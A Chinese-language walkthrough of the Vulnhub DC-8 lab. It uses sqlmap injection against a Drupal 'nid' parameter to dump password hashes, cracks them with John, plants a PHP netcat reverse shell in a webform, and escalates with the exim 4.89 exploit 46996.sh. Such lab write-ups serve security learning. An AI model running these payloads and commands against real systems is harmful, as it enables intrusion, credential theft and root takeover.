DC-8-Drupal-exim4提權

NoCirc1e發表於2024-05-04

Vulnhub簡介

Vulnhub是一個提供了很多漏洞環境的靶場平臺,其中的環境基本上都是做好的虛擬機器映象檔案,需要使用VMware或者是VirtualBox執行。每個映象會有破解的目標,大多是Boot2root,從啟動虛擬機器到獲取作業系統的root許可權和檢視flag。

靶場部署

Vulnhub官網https://www.vulnhub.com
下載地址https://www.vulnhub.com/entry/dc-8,367/

  1. 直接從官網下載做好的虛擬機器映象檔案(我下載的Mirror版本);
  2. 解壓會得到一個.ova的檔案,然後在VMware中開啟即可;

資訊收集

nmap 192.168.75.0/24 
nmap -A -sV -p- -T4 192.168.75.160
-A 代表綜合性掃描,能收集到很多重要資訊
-sV 代表掃描主要的服務資訊
-p- 掃描全部埠

image.png
image.png
掃描到靶機開放了22和80埠,使用的是Drupal(版本是7.x)的cms,還有一個robots協議
目錄掃描(我使用的是dirsearch工具),掃描到一個登入介面
image.png

SQL隱碼攻擊

既然掃描到了80埠,那就直接訪問一下
點選左側的Details
image.png
發現一處可能存在資料互動的地方,引數nid
新增單引號報錯
sqlmap一把梭
image.png

# 查資料庫:d7db
sqlmap -u "http://192.168.75.160/?nid=1" --dbs --batch  

#查表:users
sqlmap -u "http://192.168.75.160/?nid=1" -D d7db -tables --batch

#查表資料
sqlmap -u "http://192.168.75.160/?nid=1" -D d7db -T users --dump

image.png
image.png
image.png

密碼破解

admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z 
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

密碼密文得到了,但是卻不知道怎麼破解呀!john這個使用者名稱看起來似乎有點眼熟,記起來john是一個密碼破解的工具
那就應該是要用john工具來爆破密碼了
將得到的賬戶名和密碼放到文字檔案中

image.png

得到john使用者的密碼為turtle
admin使用者的密碼破解失敗

反彈shell

使用得到的賬戶名和密碼登入後臺
image.png
發現Content->點選edit->點選WEBFORM->點選Form settings->點選下拉框選擇PHP code
image.png

<p>Thanks for taking the time to contact us. We shall be in contact soon.</p>
<?php
system("nc -e /bin/bash 192.168.75.150 4444")
?>

image.png
其中必須要有能顯示的文字才能執行php程式碼
因為該內容是在使用者提交資料後顯示的內容,如果沒有能顯示的內容,則這一部分內容將不會被引用,那麼程式碼也就不會執行
Kali監聽4444埠,在Contact Us頁面隨便輸入資訊點選Submit後,檢視Kali已得到shell
image.png
image.png

提權

python -c "import pty;pty.spawn('/bin/bash')"

image.png
使用命令檢視是否有suid提權的命令

find / -user root -perm -4000 -print 2>/dev/null

image.png
exim是一款在Unix系統上使用的郵件服務,exim4在使用時具有root許可權
檢視其版本,發現是4.89

/usr/sbin/exim4 --version

image.png
使用searchsploit來尋找版本漏洞

searchsploit exim 4

image.png
然後把46996.sh複製到本地並改名為wi11.sh,並在kali開啟http服務 service apache2 start

cp /usr/share/exploitdb/exploits/linux/local/46996.sh wi11.sh
cat wi11.sh
cp wi11.sh  /var/www/html

需要進入/tmp 路徑下(不然沒有許可權,無法下載)
然後給許可權:chmod 777 wi11.sh
image.png

./wi11.sh -m netcat #執行指令碼

提權失敗
原因是:shell.sh檔案的格式為dos格式,linux只能執行格式為unix格式的指令碼。
使用set ff=unix : 告訴 vim 編輯器,使用unix換行符,不然會無法執行指令碼。
所以修改一下攻擊機目錄下的shell指令碼,在指令碼最後加上 :set ff=unix
然後在靶機中重新下載指令碼,賦予許可權,執行指令碼,提權成功,得到最終的flag!
image.png
image.png
可以多嘗試幾次,雖然成功了,但是很不穩定,過了一會就又變成www-data
可以趁root許可權的時候用nc反彈shell維持穩定

相關文章